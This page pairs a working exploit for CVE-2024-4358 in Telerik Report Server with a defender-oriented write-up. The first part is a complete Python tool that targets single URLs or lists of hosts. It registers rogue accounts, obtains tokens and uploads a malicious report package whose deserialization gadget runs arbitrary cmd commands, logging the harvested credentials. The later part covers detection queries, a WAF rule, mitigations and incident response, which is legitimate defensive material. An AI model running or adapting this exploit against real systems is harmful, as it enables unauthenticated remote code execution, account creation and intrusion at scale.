Progress Telerik Report Server 2024 Q1 (10.0.24.305) - Authentication Bypass

Exploit Author: VeryLazyTech Analysis Author: www.bubbleslearn.ir Category: WebApps Language: Unknown Published Date: 2025-03-28
# Exploit Title: Progress Telerik Report Server 2024 Q1 (10.0.24.305) - Authentication Bypass
# Fofa Dork: title="Telerik Report Server"
# Date: 2024-09-22
# Exploit Author: VeryLazyTech
# GitHub: https://github.com/verylazytech/CVE-2024-4358
# Vendor Homepage: https://www.telerik.com/report-server
# Software Link: https://www.telerik.com/report-server
# Version: 2024 Q1 (10.0.24.305) and earlier
# Tested on: Windows Server 2019
# CVE: CVE-2024-4358


import aiohttp
import asyncio
from alive_progress import alive_bar
from colorama import Fore, Style
import os
import aiofiles
import time 
import random
import argparse
from fake_useragent import UserAgent
import uvloop
import string
import zipfile
import base64

green = Fore.GREEN
magenta = Fore.MAGENTA
cyan = Fore.CYAN
mixed = Fore.RED + Fore.BLUE
red = Fore.RED
blue = Fore.BLUE
yellow = Fore.YELLOW
white = Fore.WHITE
reset = Style.RESET_ALL
bold = Style.BRIGHT
colors = [ green, cyan, blue]
random_color = random.choice(colors)


def banner():
    
    banner = f"""{bold}{random_color}
  ______     _______   ____   ___ ____  _  _         _  _  _________   ___  
 / ___\ \   / / ____| |___ \ / _ \___ \| || |       | || ||___ / ___| ( _ ) 
| |    \ \ / /|  _|     __) | | | |__) | || |_ _____| || |_ |_ \___ \ / _ \ 
| |___  \ V / | |___   / __/| |_| / __/|__   _|_____|__   _|__) |__) | (_) |
 \____|  \_/  |_____| |_____|\___/_____|  |_|          |_||____/____/ \___/ 
                                                                            
__     __                _                      _____         _     
\ \   / /__ _ __ _   _  | |    __ _ _____   _  |_   _|__  ___| |__  
 \ \ / / _ \ '__| | | | | |   / _` |_  / | | |   | |/ _ \/ __| '_ \ 
  \ V /  __/ |  | |_| | | |__| (_| |/ /| |_| |   | |  __/ (__| | | |
   \_/ \___|_|   \__, | |_____\__,_/___|\__, |   |_|\___|\___|_| |_|
                 |___/                  |___/     
                 
                    {bold}{white}@VeryLazyTech - Medium {reset}\n"""
                    
    return banner

print(banner())

parser = argparse.ArgumentParser(description=f"[{bold}{blue}Description{reset}]: {bold}{white}Vulnerability Detection and Exploitation  tool for CVE-2024-4358" , usage=argparse.SUPPRESS)
parser.add_argument("-u", "--url", type=str, help=f"[{bold}{blue}INF{reset}]: {bold}{white}Specify a URL or IP wtih port for vulnerability detection")
parser.add_argument("-l", "--list", type=str, help=f"[{bold}{blue}INF{reset}]: {bold}{white}Specify a list of URLs or IPs for vulnerability detection")
parser.add_argument("-c", "--command", type=str, default="id", help=f"[{bold}{blue}INF{reset}]: {bold}{white}Specify a shell command to execute it")
parser.add_argument("-t", "--threads", type=int, default=1, help=f"[{bold}{blue}INF{reset}]: {bold}{white}Number of threads for list of URLs")
parser.add_argument("-proxy", "--proxy", type=str, help=f"[{bold}{blue}INF{reset}]: {bold}{white}Proxy URL to send request via your proxy")
parser.add_argument("-v", "--verbose", action="store_true", help=f"[{bold}{blue}INF{reset}]: {bold}{white}Increases verbosity of output in console")
parser.add_argument("-o", "--output", type=str, help=f"[{bold}{blue}INF{reset}]: {bold}{white}Filename to save output of vulnerable target{reset}]")
args=parser.parse_args()


async def report(result):
    try:
            if args.output:
                if os.path.isfile(args.output):
                    filename = args.output
                elif os.path.isdir(args.output):
                    filename = os.path.join(args.output, f"results.txt")
                else:
                    filename = args.output
            else:
                    filename = "results.txt"
            async with aiofiles.open(filename, "a") as w:
                    await w.write(result + '\n')

    except KeyboardInterrupt as e:        
        quit()
    except asyncio.CancelledError as e:
        SystemExit
    except Exception as e:
        pass  
    
async def randomizer():
    try:
        strings = string.ascii_letters
        return ''.join(random.choices(strings, k=30))
    
    except Exception as e:
        print(f"Exception in randomizer :{e}, {type(e)}")
    
async def exploit(payload,url, authToken, session, user, psw):
    try:
        
        randomReport = await randomizer()
        headers = {"Authorization" : f"Bearer {authToken}"}
        body1 = {"reportName":randomReport,
                "categoryName":"Samples",
                "description":None,
                "reportContent":payload,
                "extension":".trdp"
            }
        proxy = args.proxy if args.proxy else None
        async with session.post( f"{url}/api/reportserver/report", ssl=False, timeout=30, proxy=proxy, json=body1, headers=headers) as response1:
            if response1.status !=200:
                print(f"[{bold}{green}Vulnerale{reset}]: {bold}{white}Report for: {url}\n Login Crendentials: Usename: {user} | Password: {psw} | Authentication Token: {authToken}\n Deserialization RCE: Failed{reset}")
                
                await report(f"Report for: {url}\n Login Crendentials: Usename: {user} | Password: {psw} | Authentication Token: {authToken}\n Deserialization RCE: Failed\n----------------------------------")
                return 
                 
         
        async with session.post( f"{url}/api/reports/clients", json={"timeStamp":None}, ssl=False, timeout=30) as response2:
            if response2.status == 200:
                responsed2 = await response2.json()
                id = responsed2['clientId']
            else:
                print(f"[{bold}{green}Vulnerale{reset}]: {bold}{white}Report for: {url}\n Login Crendentials: Usename: {user} | Password: {psw} | Authentication Token: {authToken}\n Report created: {randomReport}\n Deserialization RCE: Failed{reset}")
                
                await report(f"Report for: {url}\n Login Crendentials: Usename: {user} | Password: {psw} | Authentication Token: {authToken}\n Report created: {randomReport}\n Deserialization RCE: Failed\n----------------------------------")
                return 
            
        body2 ={"report":f"NAME/Samples/{randomReport}/",
                "parameterValues":{}
            }  
        
        async with session.post( f"{url}/api/reports/clients/{id}/parameters", json=body2, proxy=proxy, ssl=False, timeout=30) as finalresponse:
            print(f"[{bold}{green}Vulnerale{reset}]: {bold}{white}Report for: {url}\n Login Crendentials: Usename: {user} | Password: {psw} | Authentication Token: {authToken}\n Report created: {randomReport}\n Deserialization RCE: Success{reset}")
                
            await report(f"Report for: {url}\n Login crendential: Usename: {user} | Password: {psw} | Authentication Token: {authToken}\n Report created: {randomReport}\n Deserialization RCE: Success\n----------------------------------")
                
        
    except KeyError as e:
        pass
    
    except aiohttp.ClientConnectionError as e:
        if args.verbose:
            print(f"[{bold}{yellow}WRN{reset}]: {bold}{white}Timeout reached for {url}{reset}")
    except TimeoutError as e:
        if args.verbose:
            print(f"[{bold}{yellow}WRN{reset}]: {bold}{white}Timeout reached for {url}{reset}")
            
    except KeyboardInterrupt as e:
        SystemExit
        
    except aiohttp.client_exceptions.ContentTypeError as e:
        pass
    
    except asyncio.CancelledError as e:
        SystemExit
    except aiohttp.InvalidURL as e:
        pass
    except Exception as e:
        print(f"Exception at authexploit: {e}, {type(e)}")
        
        
async def create(url,user, psw, session):
    try:
        base_url=f"{url}/Startup/Register"
        body = {"Username": user, 
                "Password": psw, 
                "ConfirmPassword": psw, 
                "Email": f"{user}@{user}.org", 
                "FirstName": user, 
                "LastName": user}
        headers = {
            "User-Agent": UserAgent().random,
            "Content-Type": "application/x-www-form-urlencoded",
        }
        
        async with session.post(base_url, headers=headers, data=body, ssl=False, timeout=30) as response:
            if response.status == 200:
            
                return "success"
            
            return "failed"
        
    except KeyError as e:
        pass
    
    except aiohttp.ClientConnectionError as e:
        if args.verbose:
            print(f"[{bold}{yellow}WRN{reset}]: {bold}{white}Timeout reached for {url}{reset}")
    except TimeoutError as e:
        if args.verbose:
            print(f"[{bold}{yellow}WRN{reset}]: {bold}{white}Timeout reached for {url}{reset}")
            
    except KeyboardInterrupt as e:
        SystemExit
    except asyncio.CancelledError as e:
        SystemExit
    except aiohttp.InvalidURL as e:
        pass
    except aiohttp.client_exceptions.ContentTypeError as e:
        pass
    except Exception as e:
        print(f"Exception at authexploitcreate: {e}, {type(e)}")

async def login(url, user, psw, session):
    try:
        
        base_url = f"{url}/Token"
        body = {"grant_type": "password","username":user, "password": psw}
        headers = {
            "User-Agent": UserAgent().random,
            "Content-Type": "application/x-www-form-urlencoded",
        }
        
        async with session.post( base_url, data=body, headers=headers, ssl=False, timeout=30) as response:
            
            if response.status == 200:
                responsed = await response.json()
                return responsed['access_token']
            
    except KeyError as e:
        pass
    
    except aiohttp.ClientConnectionError as e:
        if args.verbose:
            print(f"[{bold}{yellow}WRN{reset}]: {bold}{white}Timeout reached for {url}{reset}")
    except TimeoutError as e:
        if args.verbose:
            print(f"[{bold}{yellow}WRN{reset}]: {bold}{white}Timeout reached for {url}{reset}")
            
    except KeyboardInterrupt as e:
        SystemExit
    except asyncio.CancelledError as e:
        SystemExit
    except aiohttp.InvalidURL as e:
        pass
    except aiohttp.client_exceptions.ContentTypeError as e:
        pass
    except Exception as e:
        print(f"Exception at authexploitLogin: {e}, {type(e)}")
        
async def streamwriter():
    try:
        
        with zipfile.ZipFile("payloads.trdp", 'w') as zipf:
            zipf.writestr('[Content_Types].xml', '''<?xml version="1.0" encoding="utf-8"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="xml" ContentType="application/zip" /></Types>''')
        
            zipf.writestr("definition.xml", f'''<Report Width="6.5in" Name="oooo"
 xmlns="http://schemas.telerik.com/reporting/2023/1.0">
 <Items>
  <ResourceDictionary
   xmlns="clr-namespace:System.Windows;Assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
   xmlns:System="clr-namespace:System;assembly:mscorlib"
   xmlns:Diag="clr-namespace:System.Diagnostics;assembly:System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
   xmlns:ODP="clr-namespace:System.Windows.Data;Assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral,    
PublicKeyToken=31bf3856ad364e35"
  >
   <ODP:ObjectDataProvider MethodName="Start" >
    <ObjectInstance>
     <Diag:Process>
      <StartInfo>
       <Diag:ProcessStartInfo FileName="cmd" Arguments="/c {args.command}"></Diag:ProcessStartInfo>
      </StartInfo>
     </Diag:Process>
    </ObjectInstance>
   </ODP:ObjectDataProvider>
  </ResourceDictionary>
 </Items>''')
        
    except Exception as e:
        print(f"Exception at streamwriter: {e}, {type(e)}")
        
async def streamreader(file):
    try:
        async with aiofiles.open(file, 'rb') as file:
            contents = await file.read()
        bs64encrypted = base64.b64encode(contents).decode('utf-8')
        return bs64encrypted
    except Exception as e:
        print(f"Exception at streamreder: {e}, {type(e)}")
        
        
async def core(url, sem, bar):
    try:
        user = await randomizer()
        password = await randomizer()
        async with aiohttp.ClientSession() as session:
            
            status = await create(url, user, password, session)
        
            if status == "success":
                await asyncio.sleep(0.001)
                authJWT = await login(url, user, password, session)
            
                if authJWT:
                    payloads = await streamreader("payloads.trdp")
                
                    await exploit(payloads, url, authJWT, session, user, password)
            await asyncio.sleep(0.002)
            
    except Exception as e:
        print(f"Exception at core: {e}, {type(e)}")
        
    finally:
        bar()
        sem.release()
        
    
async def loader(urls, session, sem, bar):
    try:
        tasks = []
        for url in urls:
            await sem.acquire()
            task = asyncio.ensure_future(core(url, sem, bar))
            tasks.append(task)
        await asyncio.gather(*tasks, return_exceptions=True)
    except KeyboardInterrupt as e:
        SystemExit
    except asyncio.CancelledError as e:
        SystemExit
    except Exception as e:
        print(f"Exception in loader: {e}, {type(e)}")   
        
async def threads(urls):
    try:
        urls = list(set(urls))
        sem = asyncio.BoundedSemaphore(args.threads)
        customloops = uvloop.new_event_loop()
        asyncio.set_event_loop(loop=customloops)
        loops = asyncio.get_event_loop()
        async with aiohttp.ClientSession(loop=loops) as session:
            with alive_bar(title=f"Exploiter", total=len(urls), enrich_print=False) as bar:
                loops.run_until_complete(await loader(urls, session, sem, bar))
    except RuntimeError as e:
        pass
    except KeyboardInterrupt as e:
        SystemExit
    except Exception as e:
        print(f"Exception in threads: {e}, {type(e)}")

async def main():
    try:
        
        urls = []
        if args.url:
            if args.url.startswith("https://") or args.url.startswith("http://"):
                urls.append(args.url)
            else:
                new_url = f"https://{args.url}"
                urls.append(new_url)
                new_http = f"http://{args.url}"
                urls.append(new_http)
            await streamwriter()
            await threads(urls)
                
        if args.list:
            async with aiofiles.open(args.list, "r") as streamr:
                async for url in streamr:
                    url = url.strip()
                    if url.startswith("https://") or url.startswith("http://"):
                        urls.append(url)
                    else:
                        new_url = f"https://{url}"
                        urls.append(new_url)
                        new_http = f"http://{url}"
                        urls.append(new_http)
                        
            await streamwriter()
            await threads(urls)
    except FileNotFoundError as e:
        print(f"[{bold}{red}WRN{reset}]: {bold}{white}{args.list} no such file or directory{reset}")
        SystemExit
        
    except Exception as e:
        print(f"Exception in main: {e}, {type(3)})")

if __name__ == "__main__":
    asyncio.run(main())


Progress Telerik Report Server — CVE-2024-4358 (Authentication Bypass): Overview, Detection and Mitigation

This article provides a focused, defensive-oriented analysis of CVE-2024-4358 — an authentication bypass issue impacting Progress Telerik Report Server 2024 Q1 (10.0.24.305) and earlier. It covers what administrators need to know about impact, safe detection approaches, mitigations and hardening, plus recommended incident response actions. The guidance below is intended to help defenders identify vulnerable deployments, reduce exposure, and remediate systems safely.

Quick summary

  • Vulnerability: An authentication bypass / improper access-control weakness in Telerik Report Server allowing unauthenticated operations that may lead to account creation and subsequent misuse of report upload/deserialization functionality.
  • Affected versions: Progress Telerik Report Server 2024 Q1 (10.0.24.305) and earlier (per vendor advisories / CVE entry).
  • CVE: CVE-2024-4358
  • Primary risk: Unauthorized account creation / token acquisition followed by abuse of report upload/deserialization, potentially resulting in remote code execution (RCE) or privilege escalation when chained with other functionality.

High-level technical summary (defender-focused)

At a high level, the issue allows an unauthenticated actor to interact with endpoints that should require prior authorization — for example, registration and token acquisition — resulting in a legitimate authentication token or account being created without proper administrative controls. Once an account and token exist, features that accept uploaded report packages (e.g., TRDP report definitions that are later parsed or deserialized by the server runtime) can be abused to trigger unsafe deserialization or gadget chains in the application runtime, enabling command execution in certain configurations.

Understanding the triage chain helps defenders: the root problem is improper access control around user/token lifecycle endpoints plus the presence of risky deserialization processing on uploaded reports. Protecting either side (account/token issuance or the deserialization handling) mitigates the end-to-end risk.

Impact and potential use cases

  • Unauthenticated creation of user accounts or retrieval of authentication tokens.
  • Abuse of report-upload functionality to deploy crafted report packages that trigger unsafe deserialization in the server runtime.
  • Possible remote command execution or privilege escalation when server configuration and runtime dependencies are present.
  • Data exposure via access to internal reporting functionality, scheduled reports or exported data.

Safe detection techniques (what to look for)

The following detection steps are intended for administrators and incident responders. They focus on identifying exposure and evidence of abuse without providing exploit vectors.

  • Audit web server access logs for POST requests to registration and token endpoints (for example, paths such as /Startup/Register and /Token), especially if they return 200 responses from previously unseen IPs.
  • Search application and audit logs for unexpected account creation events, especially accounts with system-like names or many accounts created in short intervals.
  • Look for POST requests to report-management APIs (e.g., report upload endpoints) originating from accounts that were just created or from unexpected IPs.
  • Check process creation or system logs for unexpected command invocations initiated by the server runtime (for example, starting a shell or invoking system commands from the report server process context).
  • Monitor for anomalous scheduled report executions or new reports placed into libraries that contain embedded resources or unusual metadata.

Example: safe, non-exploit probing to confirm presence of endpoints

# Safe check to confirm whether the standard endpoints exist and respond (defensive)
# This command performs an HTTPS HEAD/GET; it does not attempt authentication or upload.
curl -I -k https://reportserver.example.com/Startup/Register
curl -I -k https://reportserver.example.com/Token

Explanation: These commands query whether the endpoints exist and return headers/status. Use this only from authorized defender infrastructure. Do not upload test payloads or attempt to register accounts on production systems unless you have authorization to do so; instead, perform checks in a staging/lab copy when possible.

SIEM / log search examples (defender-friendly)

Below are illustrative, non-actionable examples of queries you can adapt for your SIEM to detect suspicious activity. Modify timeframe and field names to match your environment.

# Example (Splunk-like) - detect POST to registration endpoint
index=web_logs sourcetype=access_combined method=POST uri_path="/Startup/Register"
| stats count by clientip, useragent, _time
| where count > 0

Explanation: This query finds POST requests to the registration endpoint and aggregates them by source IP and agent. Investigate unexpected sources and spikes.

# Example (Elasticsearch/Kibana DSL) - find token requests
{
  "query": {
    "bool": {
      "must": [
        {"match": {"http.request.method": "POST"}},
        {"match": {"url.path": "/Token"}}
      ],
      "filter": {
        "range": {"@timestamp": {"gte": "now-7d"}}
      }
    }
  }
}

Explanation: A time-bounded search for token requests; useful to identify when and where token operations occurred.

Recommended mitigations and hardening

  • Patch immediately: The most effective mitigation is to apply the vendor-supplied security update or upgrade to a fixed version that addresses CVE-2024-4358. Follow Telerik/Progress guidance and test the upgrade in staging first.
  • Disable public self-registration: If the product supports self-registration or public account creation, disable it unless required. Require that accounts be provisioned by administrators.
  • Network-level controls: Restrict access to admin and management endpoints (including report upload APIs) via network controls — VPN, IP allowlists, and internal-only routes.
  • MFA and stronger auth: Enforce multi-factor authentication and strong password policies for administrative accounts and for any accounts that can upload or manage reports.
  • Harden file handling: Where possible, disable or sandbox functionality that performs unsafe deserialization, or run the report processing service with least privilege and in isolated containers/VMs to limit blast radius.
  • WAF / IPS rules: Implement WAF rules to block or throttle unexpected POSTs to registration/token endpoints from internet IPs, and to require authentication for management API calls.
  • Review schedule & exports: Audit scheduled reports and export destinations for suspicious new entries after remediating vulnerabilities.

Example: defensive WAF rule (conceptual)

# Conceptual ModSecurity rule: block or challenge anonymous POSTs to registration endpoint
# NOTE: This is an illustrative, high-level example. Adapt and test in your environment.
SecRule REQUEST_URI "@beginsWith /Startup/Register" \
  "phase:1,chain,deny,log,status:403,msg:'Blocked unexpected registration attempt'"
  SecRule REQUEST_METHOD "@streq POST"

Explanation: This example blocks POST requests to the registration endpoint at the edge. It is conceptual — tune exceptions for legitimate admin workflows and test to avoid blocking valid traffic.

Incident response and recovery guidance

  • Isolate affected hosts: If abuse is suspected, isolate the Report Server from the network to prevent further exploitation or lateral movement.
  • Collect forensic artifacts: Preserve web and application logs, process and system logs, report upload directories, and a copy of any suspicious uploaded report packages for offline analysis.
  • Rotate credentials and tokens: Invalidate tokens and rotate credentials for administrators and any accounts that may have been created or accessed during the suspicious timeframe.
  • Hunt for persistence: Search for backdoors, scheduled tasks, or modified system files created after the compromise window.
  • Restore from known-good backups: If integrity is in doubt, rebuild the service from patched images and known-good backups, and apply hardening steps prior to re-exposure.
  • Notify stakeholders: Escalate to internal security teams and, if relevant, follow organizational breach notification processes and regulatory reporting requirements.

Long-term risk reduction and best practices

  • Establish a secure development and deployment lifecycle: ensure third-party components such as reporting engines are kept up to date and scanned for vulnerabilities.
  • Limit the attack surface: place management endpoints behind internal networks or VPNs and remove or harden any public-facing admin interfaces.
  • Apply defense-in-depth: combine network controls, WAF, least privilege runtime, and strong authentication.
  • Regularly review and audit application logs and configuration changes.

References and resources

  • Vendor advisory and product update pages (Progress Telerik): consult the official Telerik/Progress security advisories and update instructions.
  • CVE database entry: CVE-2024-4358 — consult authoritative CVE and NVD entries for canonical details and cross-references.
  • Internal security team or MSSP: coordinate remediation and post-incident review.

Final notes

CVE-2024-4358 highlights two common operational security pitfalls: permissive account/token issuance flows and risky deserialization of user-supplied artifacts. The fastest and most reliable remediation is to apply vendor patches. While monitoring and compensating controls can reduce exposure, do not rely on them as a permanent substitute for patching. When handling suspected exploitation, follow your organization’s incident response playbook and preserve evidence for root cause analysis.